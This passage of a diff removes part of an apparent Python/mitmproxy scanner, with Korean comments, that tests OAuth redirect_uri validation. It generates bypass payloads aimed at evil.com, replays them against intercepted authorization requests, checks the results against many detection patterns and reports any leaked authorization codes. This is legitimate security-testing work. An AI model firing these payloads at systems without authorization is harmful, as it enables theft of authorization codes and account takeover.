파싱 혼동 - def _mutate_pattern36(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"%00https://evil.com{path_part}" - print(f"[redirect_uri_check] null prefix: {original} → {mutated}") - return mutated - - # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space - def _mutate_pattern37(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%E2%80%8B@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] unicode spaces: {original} → {mutated}") - return mutated - - # 38. 대괄호 인코딩 우회 - def _mutate_pattern38(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}%5B%40evil.com{path_part}" - print(f"[redirect_uri_check] bracket encoded: {original} → {mutated}") - return mutated - - '''aiohttp 세션 생성 (재사용)''' - async def _get_session(self): - if self.session is None: - timeout = aiohttp.ClientTimeout(total=10) - self.session = aiohttp.ClientSession(timeout=timeout) - return self.session - - '''세션 정리''' - async def close_session(self): - if self.session: - await self.session.close() - self.session = None - - """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ - async def _send_request(self, url, headers=None): - - # 레이트 리미팅 체크 추가 - pattern_name = "request" - can_proceed = await redirect_limiter.wait_if_needed("request") - if not can_proceed: - return {'status': 429, 'location': '', 'headers': {}} - - try: - session = await self._get_session() # 세션 준비 - request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 - - # 서버에 GET 요청 전송 - async with session.get(url, allow_redirects=False, headers=request_headers) as response: - result = { - 'status': response.status, - 'location': response.headers.get("Location", ""), - 'headers': dict(response.headers) - } - - # 성공/실패 기록 - if response.status in [200, 301, 302, 303, 307, 308]: - redirect_limiter.record_success() - else: - redirect_limiter.record_failure(f"HTTP {response.status}") - - return result - - except Exception as e: - redirect_limiter.record_failure(str(e)) - print(f"[ERROR] 요청 실패 ({url}): {e}") - return {'status': 500, 'location': '', 'headers': {}} - - """ redirect_uri가 기준 도메인에 속하는지 검증하고 우회 패턴 탐지 """ - def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: - try: - base_parsed = urlparse(base_url) - base_host = base_parsed.hostname - - if not base_host: - return False - - print(f"[DEBUG] 검증 시작 - redirect_uri: {redirect_uri}, base_host: {base_host}") - - # IDN 동형문자 체크 - if "еvil.example" in redirect_uri: # е는 키릴 문자 - print(f"[ALERT] IDN 동형문자 공격 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] IDN 동형문자 우회 공격: {redirect_uri}") - return False - - # IPv6 주소 체크 - if "[::1]" in redirect_uri or "[2001:db8" in redirect_uri: - print(f"[ALERT] IPv6 주소 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}") - return False - - # Fragment 체크 - if "#@" in redirect_uri: - print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}") - return False - - # %ff 바이트 체크 - if "%ff" in redirect_uri.lower(): - print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") - if "%ff@" in redirect_uri or "%ff." in redirect_uri: - print(f"[CRITICAL] %ff 우회 공격: {redirect_uri}") - return False - - # 전각 문자 검증 (직접 + 인코딩 모두) - fullwidth_patterns = ["/", "\", "%EF%BC%8F", "%EF%BC%BC"] - for pattern in fullwidth_patterns: - if pattern in redirect_uri: - print(f"[ALERT] 전각 문자 우회 패턴 탐지 ({pattern}): {redirect_uri}") - print(f"[CRITICAL] 전각 문자 우회 공격 ({pattern}): {redirect_uri}") - return False - - # 와일드카드 서브도메인 우회 탐지 - if f"attacker.{base_host}" in redirect_uri: - print(f"[ALERT] 와일드카드 서브도메인 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 와일드카드 서브도메인 우회 공격: {redirect_uri}") - return False - - # 서브도메인 혼동 우회 탐지 (하이픈 패턴) - hyphen_host = base_host.replace('.', '-').replace(':', '-') - if f"{hyphen_host}.evil.com" in redirect_uri: - print(f"[ALERT] 서브도메인 혼동 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 서브도메인 혼동 우회 공격: {redirect_uri}") - return False - - # 대소문자 + IDN 조합 우회 탐지 - if "ЕVIL.example" in redirect_uri: # Е는 키릴 문자 (대문자) - print(f"[ALERT] 대소문자+IDN 조합 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 대소문자+IDN 조합 우회 공격: {redirect_uri}") - return False - - # 세미콜론 userinfo 탐지 - if f"{base_host};evil.com" in redirect_uri: - print(f"[ALERT] 세미콜론 userinfo 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 세미콜론 userinfo 우회 공격: {redirect_uri}") - return False - - # 제어 문자 우회 체크 (줄바꿈, 캐리지리턴, 탭, 수직탭, 폼피드, 공백) - control_chars = ["%0a", "%0d", "%09", "%0b", "%0c", "%20"] - for char in control_chars: - if f"{char}@" in redirect_uri: - print(f"[ALERT] 제어 문자 우회 패턴 탐지 ({char}): {redirect_uri}") - print(f"[CRITICAL] 제어 문자 우회 공격 ({char}): {redirect_uri}") - return False - - # 포트 인코딩 탐지 - if f"{base_host}:%40evil.com" in redirect_uri: - print(f"[ALERT] 포트 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 포트 인코딩 우회 공격: {redirect_uri}") - return False - - # 앰퍼샌드 인코딩 탐지 - if " &%40evil.com" in redirect_uri: - print(f"[ALERT] 앰퍼샌드 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 앰퍼샌드 인코딩 우회 공격: {redirect_uri}") - return False - - # 언더스코어 인코딩 탐지 - if f"{base_host}.%5F.evil.com" in redirect_uri: - print(f"[ALERT] 언더스코어 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 언더스코어 인코딩 우회 공격: {redirect_uri}") - return False - - # 콤마 분리자 탐지 - if f"{base_host}.%2C.evil.com" in redirect_uri: - print(f"[ALERT] 콤마 분리자 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 콤마 분리자 우회 공격: {redirect_uri}") - return False - - # 스키마 없는 우회 탐지 - if redirect_uri.startswith("//evil.com"): - print(f"[ALERT] 스키마 없는 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 없는 우회 공격: {redirect_uri}") - return False - - # 스키마 콜론 우회 탐지 - if redirect_uri.startswith("http:evil.com"): - print(f"[ALERT] 스키마 콜론 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 콜론 우회 공격: {redirect_uri}") - return False - - # 널 바이트 prefix 탐지 - if redirect_uri.startswith("%00"): - print(f"[ALERT] 널 바이트 prefix 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 널 바이트 prefix 우회 공격: {redirect_uri}") - return False - - # 유니코드 공백 문자 탐지 - unicode_spaces = ["%E2%80%8B", "%E2%81%A0", "%C2%AD"] - for space in unicode_spaces: - if space in redirect_uri: - print(f"[ALERT] 유니코드 공백 문자 우회 탐지 ({space}): {redirect_uri}") - print(f"[CRITICAL] 유니코드 공백 문자 우회 공격: {redirect_uri}") - return False - - # 대괄호 인코딩 탐지 - if f"{base_host}%5B%40evil.com" in redirect_uri: - print(f"[ALERT] 대괄호 인코딩 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 대괄호 인코딩 우회 공격: {redirect_uri}") - return False - - # CRLF 인젝션 체크 - if "%0D%0A" in redirect_uri or "%0d%0a" in redirect_uri: - print(f"[ALERT] CRLF 인젝션 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] CRLF 인젝션 우회 공격: {redirect_uri}") - return False - - # 대소문자 혼합 스키마 체크 - if redirect_uri.startswith(("HtTpS://", "HtTp://", "hTtps://", "hTtp://")): - print(f"[ALERT] 대소문자 혼합 스키마 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 케이스 우회 공격: {redirect_uri}") - return False - - # 스키마 변조 체크 - if "https.://" in redirect_uri: - print(f"[ALERT] 스키마 점 삽입 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 스키마 점 삽입 우회 공격: {redirect_uri}") - return False - - # 복합 인코딩 패턴 체크 (혼합 제어 문자) - if "%09%0A%20" in redirect_uri or "%0A%0D%09" in redirect_uri: - print(f"[ALERT] 복합 인코딩 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 복합 인코딩 우회 공격: {redirect_uri}") - return False - - # 복합 우회 패턴 체크 (@ + 이중슬래시 + 경로순회 조합) - if "@" in redirect_uri and "//" in redirect_uri and "../" in redirect_uri: - print(f"[ALERT] 복합 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 복합 우회 공격 (@ + // + ../): {redirect_uri}") - return False - - # 경로 백슬래시 도메인 탐지 - if f"{base_host}\\.evil.com" in redirect_uri: - print(f"[ALERT] 경로 백슬래시 도메인 우회 탐지: {redirect_uri}") - print(f"[CRITICAL] 경로 백슬래시 도메인 우회 공격: {redirect_uri}") - return False - - # 경로 순회 패턴 체크 - if not self._check_path_traversal_patterns(redirect_uri): - return False - - # 쿼리 파라미터 우회 탐지 (question_mark 패턴) - if "?" in redirect_uri: - query_part = redirect_uri.split("?", 1)[1] - evil_indicators = ["evil.com", "attacker.com", "redirect=", "url=", "goto="] - for indicator in evil_indicators: - if indicator in query_part.lower(): - print(f"[ALERT] 쿼리 파라미터 우회 탐지 ({indicator}): {redirect_uri}") - print(f"[CRITICAL] 쿼리 파라미터 우회 공격: {redirect_uri}") - return False - - # @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지) - if "@" in redirect_uri: - # @ 앞의 부분이 실제 목적지 도메인 - at_parts = redirect_uri.split('@') - if len(at_parts) >= 2: - before_at = at_parts[0] - if '//' in before_at: - potential_domain = before_at.split('//')[-1] - if '.' in potential_domain and potential_domain != base_host: - print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") - return False - - # 백슬래시 우회 체크 - if "\\" in redirect_uri: - print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 백슬래시 파싱 우회 공격: {redirect_uri}") - return False - - # 이중 슬래시 체크 (스키마 제외) - uri_without_scheme = redirect_uri.replace("https://", "").replace("http://", "") - if "//" in uri_without_scheme: - print(f"[ALERT] 이중 슬래시 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 이중 슬래시 우회 공격: {redirect_uri}") - return False - - # 물음표 우회 체크 - @ 패턴과 결합된 경우 - if "?" in redirect_uri and "@" in redirect_uri: - print(f"[ALERT] 물음표+@ 우회 패턴 탐지: {redirect_uri}") - print(f"[CRITICAL] 물음표 우회 공격: {redirect_uri}") - return False - - # 일반적인 도메인 검증 (@ 없는 경우) - if "@" not in redirect_uri: - redirect_parsed = urlparse(redirect_uri) - redirect_host = redirect_parsed.hostname - - if not redirect_host: - return False - - # 도메인 접미사 스푸핑 체크 - if redirect_host.endswith(".evil.com"): - print(f"[ALERT] 도메인 접미사 스푸핑 탐지: {redirect_host}") - print(f"[CRITICAL] 도메인 접미사 우회 공격: {redirect_host}") - return False - - # 정상적인 도메인 검증 - is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) - return is_valid - - # @ 패턴이 있는 경우, 추가 검증 - # @ 뒤의 도메인 확인 - at_parts = redirect_uri.split('@') - if len(at_parts) >= 2: - after_at = at_parts[-1] # 마지막 @ 뒤의 부분 - # URL에서 호스트 부분만 추출 - if '//' in after_at: - after_at = after_at.split('//')[0] - else: - after_at = after_at.split('/')[0] # 첫 번째 / 앞의 부분 - - after_at = after_at.split(':')[0] # 포트 제거 - - if after_at != base_host: - print(f"[CRITICAL] @ 패턴에서 잘못된 대상 도메인: {after_at} != {base_host}") - return False - - return True - - except Exception as e: - print(f"[ERROR] 도메인 검증 실패: {e}") - return False - - """ 경로 순회 패턴 탐지 """ - def _check_path_traversal_patterns(self, redirect_uri: str) -> bool: - - path_traversal_patterns = [ - "/../", # 기본 경로 순회 - "/.././", # 혼합 슬래시 - "/..;/", # 세미콜론 패턴 - "%2e%2e%2f", # URL 인코딩된 ../ - "%2e%2e/", # URL 인코딩된 .. + 일반 슬래시 - "/%2e%2e/", # 슬래시 + 인코딩된 ../ - "%252e%252e", # 이중 인코딩된 .. - "%c0%ae", # 오버롱 UTF-8 - "\\..\\", # 백슬래시 패턴 - "../", # 유니코드 점 - "../%00", # 널 바이트 조합 - "%00../", # 널 바이트 전치 - ] - - for pattern in path_traversal_patterns: - if pattern in redirect_uri.lower(): - print(f"[ALERT] 경로 순회 패턴 탐지 ({pattern}): {redirect_uri}") - print(f"[CRITICAL] 경로 순회 우회 공격 ({pattern}): {redirect_uri}") - return False - - return True - - """ Location 헤더에서 authorization code 추출 """ - def _extract_code_from_location(self, location: str) -> str: - if not location: - return "" - - try: - parsed = urlparse(location) - query = parse_qs(parsed.query) - return query.get('code', [''])[0] - except: - return "" - - def _is_code_in_location(self, location: str) -> bool: - return self._extract_code_from_location(location) != "" - - """ mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """ - async def test(self, flow: http.HTTPFlow): - url = flow.request.pretty_url - parsed = urlparse(url) - query = parse_qs(parsed.query) - - # location 헤더에 code가 없으면 스킵 - location = flow.response.headers.get("Location", "") - if not self._is_code_in_location(location): - return - - if not query or "redirect_uri" not in query: - return - - original_redirect_uri = query["redirect_uri"][0] - - redirect_limiter.reset_for_new_target() - - print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") - - print(f"[DEBUG] 총 패턴 수: {len(self.bypass_payloads)}") - print("[DEBUG] 패턴 목록:") - for i, payload in enumerate(self.bypass_payloads): - print(f" {i+1:2d}. {payload.name}") - print("-" * 50) - - tested_count = 0 # 테스트된 패턴 카운터 추가 - - for payload in self.bypass_payloads: - try: - await self._test_bypass_pattern( - url, query, parsed, original_redirect_uri, payload, headers={} - ) - except Exception as e: - print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}") - continue - - """ 개별 우회 패턴 테스트 """ - async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers): - - print(f"[SCAN] 우회 패턴 테스트: {payload.name}") - - # 우회 URL 생성 - bypassed_uri = payload.mutate(original_redirect_uri) - - # 새로운 쿼리 파라미터 구성 - modified_query = query.copy() - modified_query["redirect_uri"] = [bypassed_uri] - new_query_string = urlencode(modified_query, doseq=True) - test_url = urlunparse(parsed_url._replace(query=new_query_string)) - - # 요청 전송 - response = await self._send_request(test_url, headers) - - # 응답 분석 - await self._analyze_response(original_url, test_url, bypassed_uri, response, payload) - - """ 응답 분석 및 취약점 판단 """ - async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): - status = response['status'] - location = response['location'] - - # 리다이렉트 응답이 아니면 스킵 - if status not in [301, 302, 303, 307, 308]: - return False - - # 베이스라인 검증 - is_valid = self._is_baseline_valid(bypassed_uri, original_url) - - if self._is_code_in_location(location) and not is_valid: - # 취약점 발견 시에만 로그 - auth_code = self._extract_code_from_location(location) - print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") - await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) - return True - - return False - - """ 취약점 보고서 생성 """ - async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): - # payload가 문자열인지 객체인지 확인 - if hasattr(payload, 'name'): - pattern_name = payload.name - pattern_description = payload.description - else: - pattern_name = str(payload) - pattern_description = "Unknown bypass pattern" - - description = ( - f"Redirect URI 우회 취약점 발견!\n\n" - f"-- 상세 정보 --:\n" - f"• 우회 패턴: {pattern_name}\n" - f"• 설명: {pattern_description}\n" - f"• 원본 URL: {original_url}\n" - f"• 우회된 redirect_uri: {bypassed_uri}\n" - f"• 테스트 URL: {test_url}\n" - f"• 리다이렉트 위치: {location}\n" - f"• 발급된 인가 코드: {auth_code[:10]}...\n\n" - ) - - report_vuln( - title="Redirect URI Bypass Vulnerability", - desc=description, - status="CRITICAL", - uri=test_url - ) - - print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!") - print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}") \ No newline at end of file